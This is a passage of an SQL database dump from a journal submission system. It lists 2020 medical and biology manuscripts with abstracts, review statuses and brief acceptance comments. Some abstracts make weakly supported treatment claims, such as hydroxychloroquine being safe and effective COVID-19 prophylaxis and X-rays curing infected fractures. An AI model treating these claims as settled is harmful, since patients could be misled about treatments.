Surveillance\r\n',2502,NULL,'2020-06-26',NULL,'Submitted',17,NULL,'2020-06-29',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(4870,6085,45,0,'iphsj-20-4870','Disaster management and working with displaced persons',NULL,18,0,NULL,'The process of occupational therapy management of displaced persons due to disaster influence is yet to be part of occupational therapy practice domain even in recent decades with advancement in occupational therapy research evidences and development. Based on the current knowledge and developments in occupational therapy client centred practice. This study describes and illustrate occupational therapy practice model of rehabilitating a displaced persons due to disaster influence.  The present paper explore occupational therapy role in rehabilitating a displaced persons through People’s Environmental Occupation, Ecology of Human Performance (EHP) and Occupational therapy practice frame work. These are integrated as a single conceptual model to describe how and process of occupational therapy practice area during rehabilitation process of a displaced person(s). The paper finally presented a sequence framework to guide occupational therapists practice in this new emerging practice area of rehabilitation. \r\n\r\n','- Disaster\r\n- Displacement \r\n- People Environment and Occupation\r\n- Ecology of Human Occupation\r\n- Occupational Performance and\r\n- Rehabilitation.  \r\n',651,NULL,'2020-06-26',NULL,'Submitted',4,NULL,'2020-12-15',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(4885,6029,326,0,'IPJUS-20-4885','Short Term Outcome in Operative Management of Posterior Wall and or Posterior Column Fractures of Acetabulum.',NULL,2,0,NULL,'To assess Short Term Outcome in Operative Management of Posterior Wall and or Posterior Column Fractures of Acetabulum.\r\n\r\nMethods\r\n\r\nThis study was conducted on 30 cases of displaced posterior wall and /or posterior column fractures of acetabulum admitted in the department of orthopaedics Skims Medical college Hospital,Bemina ,from 01-08-2014 to 01-08-2015. Surgery was done through Kocher- Langenbeck approach. Prophylaxis against heterotopic calcification was used by giving Indomethacin 25mg thrice a day for 6 weeks.\r\n\r\nResults\r\n\r\nThe functional results were calculated using clinical grading system developed by Merle d,Aubigne and postel(1954) adopted by letournel and Judet(1993) and modified by Matta(1996).6 patients were labelled as Excellent,16 pts had good outcome and 6 pts had fair result while as 2 pts had poor result.\r\n\r\nconclusion\r\n\r\nAlthough fracture complications are often complex,satisfactory results were achievable in majority of cases. The operative management of these fractures is being preferred as complications, especially long term associated with conservative management are significant and associated with considerable morbidity.','Short Term Outcome in Operative Management of Posterior Wall and or Posterior Column Fractures of Acetabulum.',2505,NULL,'2020-06-26',NULL,'Submitted',2,NULL,'2020-07-31',NULL,1,1,'0','This article is now accepted',1,'','',NULL,0,0,0,NULL,0),(4915,6131,73,0,'ipjnn-20-4915','Why COVID 19 virus causes Large vessel stroke selectively? An evidence based review.',NULL,3,0,NULL,'Background: Currently ongoing pandemic of COVID-19 is caused by a beta coronavirus (Cov) which are important human and animal pathogens. COVID-19 has affected 5.7 million people so far worldwide and seems to be relatively more dangerous than previous epidemics of acute respiratory syndrome (SARS)-CoV and the Middle East Respiratory Syndrome (MERS)-CoV from same family. Stroke caused by this infection is mainly large vessel stroke. What are the likely justifications for selectively large artery stoke?\r\nAim: To search the logical justification of large vessel strokes in COVID -19 infection mainly.\r\n Summary of Review: Apart from its usual manifestations of respiratory symptoms, COVID 19 has been shown to affect kidneys, cardiovascular system, nervous system and produce widespread thromboembolic phenomenon involving both the arterial and venous systems. Various pathogenic mechanisms of thrombosis have been proposed including inflammatory cascade, inflammation and thrombosis cross talk theory, endothelial dysfunction, endothelialitis, arteritis and hike up of antiphospholipid antibodies. Majority of strokes caused by COVID 19 are related to large vessel occlusions as a possible consequence of the Virchow’s triad operative more proficiently in large vessels, high affinity of virus to certain receptors or biochemical proteins in large arteries, escalated antiphospholipid antibodies or a cardiac source. \r\nConclusion: Certain pathophysiological phenomenon have revealed the justification for mainly large vessel stroke in COVID-19 infection, however such information is evolving with every passing day and the given explanations or a new clarification may lead to change in therapeutic plan.\r\n','COVID-19, Stroke, Large vessel, Virchow’s triad, Cerebral vascular accident (CVA), corona virus, antiphospholipid antibody syndrome.',338,NULL,'2020-06-28',NULL,'Submitted',2,NULL,'2020-09-09',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(4920,6136,91,0,'ijddr-20-4920','Molecular Properties and Bio-Activity Score of 2{[2-(4-chlorophenyl)-4-oxoquinazolin-3(4H)-yl]amino}-N-(substitutedphenyl) acetamides',NULL,14,0,NULL,'Molecular properties and bio-activity score of 2{[2-(4-chlorophenyl)-4-oxoquinazolin-3(4H)-yl]amino}-N-(substitutedphenyl) acetamides were calculated using molinspiration software. Mi Log P values of these compounds were found to be in the range of 5 that means these compounds have good permeability across cell membrane. TPSA in the range of 76.02 to 121.85 (well below 160) and molecular mass <500. Number of violations is 0 and rotb < 7 .Number of hydrogen bond donors < 5 (The sum of OHs and NHs) and hydrogen bond acceptor <7 (The sum of Os and Ns). These observation showed that the compounds can easily bind to receptor and were taken further for the calculation of bioactivity score. However, the result of bioactivity score of GPCR ligand, ion channel modulator, nuclear receptor ligand, inhibitor activities towards kinase, protease and enzymes indicated that the compounds exhibit moderate score towards all the receptors. ','{[2-(4-chlorophenyl)-4-oxoquinazolin-3(4H)-yl]amino}-N-(substitutedphenyl) acetamides , molecular properties, bioactivity score ',3391,NULL,'2020-06-29',NULL,'Submitted',2,NULL,'2020-08-06',NULL,1,1,'0',' ',0,'','',NULL,0,0,0,NULL,0),(4939,6154,45,0,'iphsj-20-4939','Factors associated with microalbuminuria in non-diabetic hypertension patients',NULL,5,0,NULL,'The objective was to evaluate the factors associated with urinary albumin excretion (UAE) in non-diabetic hypertension (AH) patients in the context of Primary Health Care (PHC). The parameters investigated were per capita salt consumption, lipid and hematimetric profile, waist circumference and glomerular filtration rate (GFR) compared in individuals with microalbuminuria (MA) and without MA. BackWard multiple linear regression analysis was performed to estimate the influence of the analyzed variables on UAE. The prevalence of microalbuminuria was 21.9%, the mean GFR using the CKP-EPI formula was 65.04 and 60.89 mL/min/1.73m², respectively, among the groups without MA and with MA. Waist circumference and serum creatinine contributed in the explanation of 63.5% in the variation of excreted levels. The patients with AH with MA presented lower GFR, suggesting possible progression to renal disease. Screening for MA should be a frequent practice in PHC, especially in patients with HA.','Hypertension; albuminuria; chronic renal disease.',2879,NULL,'2020-06-30',NULL,'Submitted',2,NULL,'2020-07-24',NULL,1,1,'0','Accepted',0,'2126','pragathi_na@pulsus.co.in',NULL,0,0,0,NULL,0),(4958,6173,45,0,'iphsj-20-4958','Relationship Between Nursing Leaders Emotional Intelligence and Nursing Staff Creativity and Innovative Work Behavior',NULL,14,0,NULL,'Introduction:   The organizational climate is the main building blocks for organizations that encourage innovation. Also, the efficient leadership develops the work productivity among staff. This research aimed to explore the relationship between leadership emotional intelligence, and innovative work behavior among nurses at University Hospitals.\r\nPatients and Method:  This analytic cross-sectional study included 50 head nurses and 220 of their nurse staff.   A questionnaire sheet was used to obtain information for this research, which consisted of two tools: I. Standardized emotional intelligence questionnaire, and II. Modified innovative work behavior questionnaire. \r\nResults: The head nurse had a mean emotional intelligence of 79.6±6.4.  Most of nurse staff has moderate IWB (63%), 27% has high IWB and 10% has low IWB. Furthermore, the emotional intelligence of head nurses was significantly and positively correlated to IWB.\r\n\r\nConclusion:  We concluded emotional intelligence leadership had significant and positive correlation with nurse staff innovative work behavior.','Emotional Intelligence; Innovative Work Behavior; Leadership; Nurse.',388,NULL,'2020-06-30',NULL,'Submitted',16,NULL,'2020-07-03',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(4969,6181,86,0,'ipaom-20-4969','Case Report of 78 –year-old man with meningitis, Pulmonary Thromboembolism &SARS-Coronavirus-2infection',NULL,2,0,NULL,'The novel corona virus infection involve both Central & Peripheral Nervous System . Some of the presentations include: acute cerebrovascular disease, impaired consciousness, transverse myelitis, encephalopathy, encephalitis and epilepsy. Our patient was 78 year –old man with dementia and diabetic nephropathy which was admitted two times for possibly covid 19 infection. At the first hospitalization, the patient is treated with hydroxychloroquine and kaletra based on clinical symptoms and initial laboratory findings due to suspicion of covid 19. After the negative RT-PCR test of nasopharyngeal sample for covid19  and evidence of aspiration pneumonia in CT scan, the patient was discharged with oral antibiotics. Five weeks later, he was rehospitalized with loss of consciousness, fever and hypoxemia in physical exam he had neck stiffness in all directions, So the CNS infection was suspected, the CSF sample was in favor of aseptic meningitis and second RT-PCR test of nasopharyngeal sample for covid 19 was positive but Brain MRI just showed small vessel disease without evidence of encephalitis. In the second hospitalization, he had acute renal failure, which was treated with supportive care, and also suffered from pulmonary embolism with cavitary lesions in his lungs. Meningitis with pulmonary embolism and acute renal failure  have not yet reported. Our patient is the first one, so we decided to share it. This case showed different presentation of Covid19 without typical lung involvement. So we must  pay attention to any sign & symptoms in a patient suspected of having a covid19.','SARS-Coronavirus-2infection, meningitis, Pulmonary Thromboembolism',3386,NULL,'2020-06-30',NULL,'Submitted',4,NULL,'2020-08-03',NULL,1,1,'0','Send for revision',0,'','',4,0,0,0,NULL,0),(5003,6209,45,0,'iphsj-20-5003','The Healing of Lower Limb open fracture from Bacterial Infections by X-Ray',NULL,15,0,NULL,'Background: For many years bone fractures are treated with certain antibiotics then it is determined that these antibiotics are causing antimicrobial resistance. X-rays are widely used in checking of fractures but due to its penetration ability it can be used for fracture healing\r\nAim: This study’s objective is to determine the X-ray role in treating the lower limb fractures that are being infected and the time of X-ray exposure. Many studies show low dose x-ray promotes fracture healing while high dose x-ray inhibits the fracture healing.\r\nMechanism: X- ray, a type of ionizing radiation, has the ability to penetrate into tissues, due to this ability it damage the DNA of bacteria and eventually kill them. This damage to DNA that is caused by X-ray is irreversible. Bacteria are killed by X-ray exposure so infection will not occur. \r\nConclusion: Low dose of X-ray exposure is effective in treating fracture. However, in some cases bacteria can develop resistance against ionizing radiations.\r\n','Healing, lower limb, X rays, bacterial infections',386,NULL,'2020-07-01',NULL,'Submitted',16,NULL,'2020-07-10',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(5035,0,45,0,'iphsj-20-5035','A Preventive Study on Hydroxychloroquine Prophylaxis Against COVID-19 in Health Care Workers at a Tertiary Care Center in North India',NULL,14,2,NULL,'Background: The menace of COVID-19 has put a huge burden on health care system predisposing health care workers engaged in management to COVID-19 infections. The non- availability of effective drug against COVID-19 warrants extra cover as prophylactic therapy for health care workers, especially against transmission from asymptomatic patients. Hydroxychloroquine (HCQ) for prophylaxis of COVID-19 had been advocated by some researchers. Hence, in this project, evaluation of HCQ as preventive strategy for healthcare workers against COVID-19 infection was studied.\r\nMaterials and Methods: HCQ was prescribed as a prophylactic therapy as per the advisory of National Task Force of Indian Council of Medical Research, India. The data regarding consumption profile, COVID-19 infection and adverse drug reaction profile of HCQ in healthcare workers was collected.\r\nResults: Record of 4,239 health workers with hydroxychloroquine consumed was available till date. 139 subjects were dropped out of study as they did not consume the HCQ tablets. 93 heath workers (2.19%) were infected with COVID-19 infection but in early weeks of prophylactic therapy and were asymptomatic. A few of them (08 patients) had mild symptomatic manifestation with RT- PCR reported positive for SARS-CoV-2. No mortality was reported as among healthcare workers, engaged in management of COVID-19 patients at the tertiary care institute in Jaipur, India. HCQ prophylaxis in standard doses produced predominantly gastrointestinal side effects in 20 subject and headache in 10 health workers. \r\nConclusion: The present study showed that HCQ prophylaxis is safe and effective in standard doses against COVID-19 infection. The frontline workers engaged in management of COVID-19 may be given HCQ prophylaxis as an extra cover. However, it’s broadening usage as preventive strategy, in general for people especially in cardiovascular incidences; require enhanced research and further validation.\r\n','Adverse drug reaction;\r\nCOVID-19;\r\nhealth workers;\r\nhydroxychloroquine;\r\nprophylaxis\r\n \r\n',685,NULL,'2020-07-01',NULL,'Submitted',19,NULL,'2020-07-10',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(5036,6219,1020,0,NULL,'Nature and potential binding site prediction of covid-19 with Protease inhibitors using Pymol',NULL,14,0,NULL,' Two recently reported crystal structures (PDB entries 6Y2E and 6LU7) of a protease from the SARS-CoV-2 virus, the infectious agent of the COVID-19 respiratory disease, has been investigated using pymol. Through this computational investigation the protease is predicted to display flexible motions in vivo which affect the geometry of a known inhibitor binding site. This opens new potential binding sites elsewhere in the structure. A database of the generated PDB files represents natural flexible variations on the crystal structures produced. This research article involves Docking and molecular interaction studies of COVID-19 with protease inhibitors using Pymol is aimed at identifying specific antiviral therapies for the treatment of COVID-19.','SARS-CoV-2, COVID-19, Docking, protease inhibitors',3739,NULL,'2020-07-01',NULL,'Submitted',4,NULL,'2020-12-02',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(5037,6220,975,0,'ipjbs-20-5037','A Novel Eyewear for the Early Detection of Seizure in Epileptic Patients',NULL,14,0,NULL,'A seizure is a sudden, uncontrolled electrical disturbance in the brain. It can cause changes in behavior, movements, or feelings, and in levels of consciousness accompanied by irregular and rapid eye movement. The most common wearable system for the detection of epileptic seizures is EEG head cap. Most epileptic patients refuse to wear these caps due to negative effect of social stigma and inconvenience. Hence we have proposed a method to predict seizures by using a portable eyewear which picks up the EEG signal from temporal region of the head using EEG electrode and detects the occurrence of eye roll back using eye ball  sensor which increases the accuracy in the prediction of seizure and alerts the patient beforehand. The inbuilt IoT mechanism also alerts the caretaker.','seizure, eyeblink sensor, MEMS, GSM',3460,NULL,'2020-07-01',NULL,'Submitted',4,NULL,'2020-07-03',NULL,1,1,'0',NULL,0,'','',2,0,0,0,NULL,0),(5041,4022,251,0,'ipacm-20-5041','Molecular typing of 16S rRNA of Azadirachta indica and Ocimum gratissimum Resistant Pseudomonas spp. from Sabe in Oke-Ogun, Nigeria',NULL,14,0,NULL,'The aim of this study was to present the molecular typing of bacteria which were resistant to extract of the leaves of Ocimum gratissimum and Azadirachta indica and to investigate whether there was any relationship between non-sensitivity to antibiotics and the extract of plants of four isolates: Salmonella typhii, Escherichia coli, Pseudomonas aeruginosa and Pseudomonas monteilii. Four solvents used for the extraction of the active ingredients of the plants were Ethanol, N-Hexane, Water, Ethanol and Water combined in five different concentrations. The four microorganisms listed above were isolated from raw milk, Borehole water and soil.  The isolates were variously subjected to conventional morphological, biochemical tests and subsequently molecular screening (Polymerase Chain Reaction (PCR) and Sanger sequencing method). Pseudomonas aeruginosa (KF530797) and Pseudomonas monteilii (KJ676707) identified were subjected to BLAST using pairwise alignment technique from NCBI database. The two plant extracts had earlier been documented as resistant to Escherichia coli and Salmonella spp which were earlier isolated from milk and water respectively. There was no zone of inhibition as observed in all concentrations of plant extract considered except a noticeable clear zone of inhibition against synthetic antibiotics in the order of Ofloxacin and Gentamycin. Although suspected gene markers from the two soil isolate were suspected to be amplified around 1400bp. The 16S rRNA sequences of Pseudomonas aeruginosa (94.43%) was somewhat more variable than Pseudomonas monteilii (99.93%) indicating a pairwise alignment of Pseudomonas monteilii to be more conserved than P. aeruginosa.','Pseudomonas monteilii; BLAST; Antimicrobial; Pairwise-alignment; Gene Markers.',785,NULL,'2020-07-02',NULL,'Submitted',2,NULL,'2020-07-15',NULL,1,1,'0','The molecular typing of bacteria which were resistant to extract of the leaves of Ocimum gratissimum and Azadirachta indica and to investigate whether there was any relationship between non-sensitivity to antibiotics and the extract of plants of four isolates: Salmonella typhii, Escherichia coli, Pseudomonas aeruginosa and Pseudomonas monteilii is  interesting with complete significant study. Method and extraction procedures are effective and showed significance in study proved  N hexane, ethanol and aqueous leaf extracts of Ocimum gratissimum and Azadiracha indica were resistant to the bacterial isolates. Manuscript is recommended to publish.',0,NULL,NULL,NULL,0,0,0,NULL,0),(5067,6241,91,0,NULL,'Covid 19 drug development',NULL,14,0,NULL,'Nanotechnology, Alkaloids, Zinc antivirus using ZAP technique, Egg protein','',3416,NULL,'2020-07-04',NULL,'Submitted',4,NULL,'2020-07-14',NULL,1,0,'1',NULL,0,'','',2,0,0,0,NULL,0),(5071,5888,639,0,'ipfs-20-5071','Prevalence and pathology manifestation  of Acanthocephalus ranae infestation in finfishes of Tamilnadu, southeast coast of India',NULL,14,0,NULL,'The seasonal variations and pathological manifestation of the acanthocephala infestation were investigated from southeast coast of India. The adult worms’ proboscis is cylindrical, the length and width ranging between 1.2-7.3 cm and 1.0-1.8 mm respectively. Caranx ignobilis was the major host in terms of prevalence and intensity among the other fish species examined for infestation and seasonal variation of Acanthocephalus ranae over three year period. The higher prevalence of infested fishes Caranx ignobilis (61.8 %±1.8), Seriolina nigrofasciata (48.6%±1.3) and Dayseiaena albida (38.5%±1.8) were observed. Mean intensities ranged between 5.8 and 12.6 worms per fish. Grossly, the parasites attached tissues were wounded, reddish, swollen, abraded and thickened. Histologically, the infested intestinal outer wall of the muscularies extema and tip of the proboscis is still inverted; Hyperplasia of the intestinal villi and lamina propria near the site of parasitic attachment were also evidenced. Cellular infiltrated area surrounding the proboscis, aggregation of lymphocytes and fibroblasts at the site of inflammation were observed from the parasitized intestine. The lesions were infiltrating with basophil-like inflammatory cells. The histological findings revealed that the pathogenicity was depends on the density of the parasitic burden and depth of the proboscis penetration into the host intestine. Long live parasite increases the cellular infiltration and it may leads to the tumorous conditions of the infested hosts.','Acanthocephalus ranae, Finfish, Prevalence, Intensity, Pathology.',1778,NULL,'2020-07-06',NULL,'Submitted',2,NULL,'2020-09-28',NULL,1,1,'1','I accept to publish this article on our journal.',0,NULL,NULL,NULL,0,0,0,NULL,0),(5089,6264,45,0,'iphsj-20-5089','Dynamics of Engagement of Social Media in Health Care Industry: a systemic review',NULL,14,0,NULL,'This study was set out to probe for benefits, hazards and dynamism of use of social media in health industry while proving supportive information to health care providers, stakeholders in health care industry and patients alike. We engaged a systematic study in which we mined for data on PubMed between 10th July and 8th August, 2018 using specific search words based on our set out inclusion criteria for studies we intended for selection into this study (provided in this our study). In all, 14 studies were eventually selected after we obtained records from our search words entered, studied the titles, abstracts and contents of full works to screen for studies that met our inclusion criteria and selected our studies for systemic review of the critical issues raised and findings and using PRIMSA guidelines. Our analysis engaged descriptive and non descriptive statistical features of which included mean, median and pooled population analysis of variance from Microsoft Excel Version 2007. Our findings suggested use of social media to be dynamic in nature in the areas of impacts, varieties of usage in health industry, interventional nature and specific fields of health it supports. It is both beneficial and hazardous and requires cautious use of information by the public to support health, restrained usage to avoid damaging effects of addiction and indulgence in harmful activities, and sustaining of present controls on posts on health on social media to protect users.','Social media, health, dynamics, usage, hazards',643,NULL,'2020-07-07',NULL,'Submitted',4,NULL,'2020-12-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(5092,6266,45,0,'iphsj-20-5092','OCCUPATIONAL STRESS AND IT’S MANAGEMENT AMONG HEALTH CARE WORKERS IN THE UNIVERSITY OF PORT HARCOURT TEACHING HOSPITAL.',NULL,15,0,NULL,'Background: The concept of occupational stress and its causes have been downplayed in developing countries hence making their effect to be poorly understood even though it has been declared an endemic problem in the health sector. Statement of the problem: In spite of the available evidence, it seems that the creation of a safe and healthy work environment has not been high on the agenda of employers in the health sector especially in Nigeria. High patient load, burgeoning new diseases and viruses, poor working conditions are a few of the stressors faced by health care workers in the state. Materials and Methods: Stratified random sampling and self administered questionnaires were used to select 337 health care workers from different cadres and departments in the hospital. The data collected was analyzed using descriptive and inferential tools. Result:from this study it was identified by health care workers that inadequate staffing levels (82%), extremely long working hours (78.4%) ,absence of shift work (70.1%)and caring for difficult patients(69.1%) are the major stressors experienced by respondents in the study area. Various coping strategies were employed by different cadres of health care workers, Doctors and nurses come to work with a positive mindset, prioritize and focus on what’s important at work and with support from colleagues and family, they are able to manage their stress levels. Laboratory scientist have conditioned their minds into believeing that things will get better in time to come, Pharmacist ensure proper division of work and effective supervision, Administrative staff prioritize their work in order of importance while others take breaks to listen to music and chat with colleagues. CONCLUSION: The high prevalence of occupational stress in the study area has potentials of reducing the quality of services rendered in the hospital which can produce a domino effect if not checked. ','occupational health, public management, safety issues, safety management, industrial hazards, industrial issues, preventive measures,  ',686,NULL,'2020-07-07',NULL,'Submitted',16,NULL,'2020-07-13',NULL,1,1,'0','Accepted',0,'970','phanindra_k@omicsgroup.co.in',NULL,0,0,0,NULL,0),(5096,6271,45,0,'iphsj-20-5096','Bacteremia and Sepsis disease caused by halophilic marine Vibrio bacteria.',NULL,15,0,NULL,'Aim:-\r\n•	Take review about patients that are infected with skin (sepsis) or soft tissue infections and bacteremia due to marine Vibrio bacteria.\r\n•	Evaluate the statistical analysis of different sepsis or bacteremia patients.\r\n\r\nMethodology:\r\n Patients were considered to be as two separate groups based on either they had primary bacteremia or soft tissue infection. Vibrio species cultured from blood and soft tissue on a non-selective media that contain at minimum 0.5 percent NaCL like alkaline peptone water. These were cultivated and isolated from each on the basis of ability to ferment different sugars or grow in 10% sodium chloride i.e., a selective agar(TCBS) used for this purpose.\r\n Analysis of different samples of patients were performed for the isolation and cultivation of Vibrio species. After that chi square test was used to analyze the statistics.\r\n  Result:\r\nMany patients infected on consuming raw seafood, some have occupational influence to water of sea. Vibrio species were cultured from blood, wounds or soft tissues. In patients, it can caused primary soft tissue infections, bacteremia or some had necrotic soft tissue infections that demand removal of different foreign particle with the help of surgery.\r\n Conclusion:\r\nVibrio bacteria were tend to cause sepsis or bacteremia inside patients especially those that have some systematic illness or are immunocompromised and are warned against eating raw sea food.\r\n','Bacteremia, halophilic, sepsis, Vibrio, chi-square',694,NULL,'2020-07-07',NULL,'Submitted',16,NULL,'2020-07-13',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(5100,4616,277,0,'ipadm-20-5100','Quiste de colédoco',NULL,2,0,NULL,'Los quistes de colédoco son una patología raramente diagnosticada en adultos. Constituyen el 5-10% de los quistes en la población general, el 92% ocurre en mayores de 40 años, con relación mujer-hombre 4:1.  La etiología es desconocida, aunque se ha reportado una unión anómala del conducto pancreaticobiliar. Su tratamiento depende del tipo de quiste. Los pacientes con tipo I, ameritan resección quirúrgica del mismo debido al riesgo de malignidad, con reconstrucción tipo hepatoyeyunostomía en Y de Roux. En este artículo, se presenta el caso de una paciente con ictericia de dos meses de evolución; acompañada de dolor abdominal en cuadrante superior derecho, referida como colecistitis crónica calculosa, a quién tras la evaluación clínica y mediante confirmación con estudios de imagen, se diagnosticó un quiste de colédoco tipo I, manejada con colecistectomía abierta, más cistectomía a nivel de la confluencia de los conductos hepáticos, y derivación biliodigestiva en Y de Roux. El diagnóstico y manejo de los quistes de colédoco debe individualizar. Si bien, está es una patología rara, la falta de sospecha, genera retraso en el tratamiento, el cual es quirúrgico ya que tiene una incidencia elevada de desarrollar colangiocarcinoma, de ahí radica la importancia de la resección del quiste de coledoco.','Quiste de colédoco, cistectomía abierta, derivación biliodigestiva',2805,NULL,'2020-07-08',NULL,'Submitted',2,NULL,'2020-07-25',NULL,1,1,'1','Manuscript Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(5103,6279,73,0,'ipjnn-20-5103','s',NULL,15,0,NULL,'s','s',337,NULL,'2020-07-08',NULL,'Submitted',4,NULL,'2020-08-26',NULL,1,1,'0',NULL,0,'','',4,0,0,0,NULL,0),(5104,6280,45,0,'iphsj-20-5104','Osteomyelitis: Present improvements in pathophysiology and helpful ways ',NULL,14,0,NULL,'Abstract:\r\nThis study compresses the continuous improvements in pathogenic instruments, new helpful procedures for osteomyelitis, including both periprosthetic joint defilements and crack related bone ailments. An abundant cognizance used in pathophysiology comprising the segments for biofilm course of action ought to incite new remedial techniques for this staggering disease.\r\nMethodology:\r\nDeveloping systems for counteraction, initial analysis of poor quality infections, and inventive medicines of osteomyelitis, for example, biofilm disruptors and immunotherapy are featured in this survey. \r\nResults:\r\nExamination on innovative conveyance constituents with fitting motorized things, minor exothermic response, systematized arrival of anti-infection agents, and absorbable framework for advancing bone recovery is succeeding rapidly. Advancement of progressively viable procedure for anticipation, initial analysis, and inventive medication of osteomyelitis, for instance, biofilm disruptors and immunotherapy is in progress over joint endeavors by the two medication and analysts. \r\nConclusion: \r\nA surprising headway in cure of osteomyelitis is the nearby conveyance of anti-toxins, which increases helpful results and limits the reactions of fundamental organization of high-portion anti-toxins.','Peri-prosthetic joint, osteomyelitis, immunotherapy, biofilm disruptors.',3300,NULL,'2020-07-08',NULL,'Submitted',16,NULL,'2020-07-13',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(5109,6286,251,0,'ipacm-20-5109','Comparative Sero-epidemiological prevalence of TB with Acid Fast Bacilli sputum positive cases in TB suspects of lower Dir',NULL,14,0,NULL,'Background: Tuberculosis is an infection of lungs accompanied by coughing more than two weeks, fever, and night sweat, loss of appetite, weight loss and anorexia. Approximately 33% of the entire world population has infected The incidence of TB is 9 lac new cases each year with mortality rate of 1.3million. There are 22 high risk burden countries accountingvfor nearly 80% entire TB of the globe. \r\nMaterials and Methods: A cross sectional investigation was carried out to analyze patients by both immune chromatographic test and direct sputum smear microscopy. Patients were asked through a questionnaire mentioning the age, name, gender, location and symptoms of TB. Thrusfield formula was used from veterinary microbiology to calculate the sample number. So, with 95% confidence interval, 5% absolute precision, I analyzed only 324 subjects of interest\r\nResult: The entire positivity rate was 25% in which 79.5% was the rate of positivity by ICT and 20.5% by sputum smear microscopy. Higher positivity by Age range 20-40showed 40.9% by ICT and by sputum it was found in age group 1-20 years 17.5%. Based on gender, higher positivity rate was found by both tests in females as compared to males. Females were 31.8% positive by ICT and 10% by sputum test. Males were 22.8% positive by ICT and 5% by sputum test. Marital status based higher positivity by ICT was found in married which is 29.11% while positivity in unmarried which is 12.5%.\r\nConclusion: Tuberculosis is still a prevalent disease in lower Dir Khyber Pukhtunkhwa province of Pakistan. The more positivity rate has found in females as compared to males. It requires further sophisticated investigation to acquire a more accurate result in case of tuberculosis prevalence in lower Dir region of KP province of Pakistan. As the DOTS strategy states, Directly observed treatment and short course is a better way to early case detection and treatment otherwise the disease can become more exaggerated in short period of time because the bacteria is an airborne pathogen so it can freely transmit to the lungs.','TB ICT, TB AFB, Prevalence, Disease cases',783,NULL,'2020-07-08',NULL,'Submitted',2,NULL,'2020-08-21',NULL,1,1,'1','Comparison of sero-epidemiological prevalence of TB with Acid Fast Bacilli sputum positive cases in TB suspects of lower Dir objective of the manuscript is clear and significant method is used for evaluation of study. Results are significantly explained in tables and figures for clear understanding and conclusion is also clear. Thus, the manuscript is recommended to publish without any changes.',0,NULL,NULL,NULL,0,0,0,NULL,0),(5111,6288,326,0,'IPJUS-20-5111','PAGET\'S DISEASE OF THE BREAST : A TERTIARY HOSPITAL EXPERIENCE',NULL,14,0,NULL,'ABSTRACT\r\nBACKGROUND\r\nPaget’s disease of the breast is rare. It is one of the foremost subtypes of carcinoma of the breast, accounting for only 1-3% of all breast tumors. It is often misdiagnosed because of its unusual presentation and absence of a breast lump in nearly half of the patients. This study aims at evaluating the epidemiology and outcome of surgical treatment of Paget’s disease of the breast in Port Harcourt, Nigeria.\r\n\r\nMETHODS\r\n This is a retrospective study of cases of Paget’s disease of the breast seen and managed in the University of Port Harcourt Teaching Hospital, Port Harcourt, Nigeria over a 20 year period. The patients were analyzed for age, sex, clinical presentation and treatment given. \r\n\r\nRESULTS\r\nA total of 24 patients out of 2,105 cases of carcinoma of the breast were seen to have Paget’s disease. All were females aged 30 to 55 years and all had unilateral disease. Only 10% of the patients had a palpable mass on the breast. All the patients had biopsies either of the skin or both skin and breast lump.\r\nCONCLUSION\r\nPaget’s disease of the breast is uncommon and easily misdiagnosed. This calls for wedge resection and/or histology of any mass seen for any patient presenting with eczematous lesions on the nipples.\r\n\r\n\r\n','Keywords: Breast; Nipple-areola complex; Paget’s disease; Management',2505,NULL,'2020-07-08',NULL,'Submitted',2,NULL,'2020-08-12',NULL,1,1,'1','This manuscript is accepted on the basis of review comments.',0,'','',NULL,0,0,0,NULL,0),(5112,6289,86,0,'ipaom-20-5112','Congenital adrenal hyperplasia and the COVID-19 pandemic: ‘‘The calm before storm’’',NULL,9,0,NULL,'Congenital adrenal hyperplasia (CAH) is considered one of the most frequent autosomal recessive disorder in humans. It is a quite higher incidence in Saudi Arabia than other countries, estimated by one in 5,000 live birth to one in 6400. This disease treated with lifelong cortisone (different types) and recommends increasing the hydrocortisone dose, according to the general sick day rules. The new recommended medication to treat COVID-19 patients is Dexamethasone, which is the most potent form of cortisone and it is glucocorticoid effect higher than hydrocortisone by 25 times. Till the date of write this paper, there is no published case of CAH affected with COVID-19 infection, the reason behind it is not clear but could because they are already on cortisone management.','COVID-19\r\nCAH\r\nDexamethasone',3386,NULL,'2020-07-08',NULL,'Submitted',2,NULL,'2020-08-01',NULL,1,1,'0','Dear authos,\r\nI am pleased to inform your that your paper has been accepted for publication\r\nBest Regards, \r\nTheodoros Aslanidis\r\nThe handling editor',0,'','',NULL,0,0,0,NULL,0),(5123,6299,45,0,'iphsj-20-5123','DNA VACCINE - AN APPROACH TO COMBAT COVID-19',NULL,15,0,NULL,'The pandemic caused by the Covid-19 has created widespread destruction. Not only humans but has put medical sciences on toes do to continuous research. The global aim is to find the vaccine to cure the novel coronavirus disease. The SARS-CoV-2 which expresses several structural proteins can serve as antigens for example the S protein. Development of DNA vaccines may play a great role to prevent the disease to spread. The plasmid vaccine can generate the humoral response as well as the cellular response specially the CTL responses in the host organism if introduced intramuscularly. The DNA based vaccines for other viral infections have already shown positive results in animal models but the results for clinical trials are awaited. The advancement in delivering of the vaccine may help to combat the novel SARS-CoV2 disease in future.','S-Protein, SARS-COV2, DNA Vaccine, CTL Response, Antibodies',3300,NULL,'2020-07-09',NULL,'Submitted',14,NULL,'2020-07-23',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(5126,6306,73,0,'ipjnn-20-5126','Effects of Healthy Aging on Semantic Processing of Familiar Faces: Pilot Study',NULL,14,0,NULL,'Neurodegenerative disorders such as Alzheimer’s disease (AD) and mild cognitive impairment (MCI) remain significant health and economic burdens affecting millions worldwide. Developing affordable and accurate early diagnostic instruments for these disease states can contribute to the improvement of those patient’s quality of life by providing sufficient time for individuals to begin 